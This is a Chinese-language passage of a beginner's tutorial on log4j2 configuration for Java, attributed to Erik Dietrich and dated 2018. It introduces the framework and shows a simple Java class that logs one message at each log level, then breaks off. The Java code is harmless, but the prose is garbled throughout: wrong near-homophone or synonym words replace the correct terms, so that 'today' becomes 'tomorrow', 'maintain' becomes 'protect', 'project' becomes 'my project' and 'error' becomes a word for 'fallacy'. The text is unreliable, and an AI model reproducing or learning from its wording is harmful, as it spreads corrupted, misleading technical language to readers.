LOG4J2 配置：具体入门指南埃里克·迪特里希 2018 年 9 月 5 日 软件开发中最烦人的方面之一相对是日志记录。如果一个非平庸的应用程序短少日志记录，那么保护它的人都会遇到困难，预先调试将次要是一个猜谜游戏。明天，咱们通过提供无关 log4j2 配置的教程，为解决这种状况做出了另一奉献。 有很多办法能够为Java记录日志。您能够应用更手动的办法，但举荐的办法是采纳专用的日志记录框架。这就是为什么咱们要介绍 Apache log4j2，它是 log4j 的改良版本，是行业标准的日志框架之一。 咱们将首先疾速回顾一下咱们之前对于 Java 日志的文章，并介绍一些对于 log4j2 的事实。而后咱们将持续介绍咱们在上一个教程中开始编写的示例应用程序的状态。 之后，咱们进入文章的重点。您将学习如何配置 log4j2，从根底开始，并逐渐学习更高级的主题，例如日志格局、附加程序、日志级别和日志层次结构。 让咱们开始吧。 应用 Log4j2 进行日志记录：又不是头一回了本教程中，咱们应用了 log4j 版本 2，这是来自 Apache 我的项目的日志框架。 让咱们进一步理解 Java 应用程序日志并查看 log4j2 配置。明天咱们将介绍 log4j2 配置的根本方面，以帮忙您入门。 Log4j 的性能使其成为 Java 最风行的日志框架之一。它能够配置为多个日志记录目的地和各种日志文件格式。 能够在单个类级别过滤和定向日志音讯，从而使开发人员和运维人员可能对应用程序音讯进行精密管制。 让咱们通过应用命令行 Java 应用程序配置 log4j 来查看这些机制。 示例应用程序让咱们应用 log4j 进行日志记录的应用程序。 package com.company;import org.apache.logging.log4j.Logger;import org.apache.logging.log4j.LogManager;public class Main { private static final Logger logger = LogManager.getLogger(Main.class); public static void main(String[] args) { String message = "Hello there!"; logger.trace(message); logger.debug(message); logger.info(message); logger.warn(message); logger.error(message); logger.fatal(message); }}咱们在每个 log4j 预约义的日志级别记录雷同的音讯：跟踪、调试、信息、正告、谬误和致命。 ...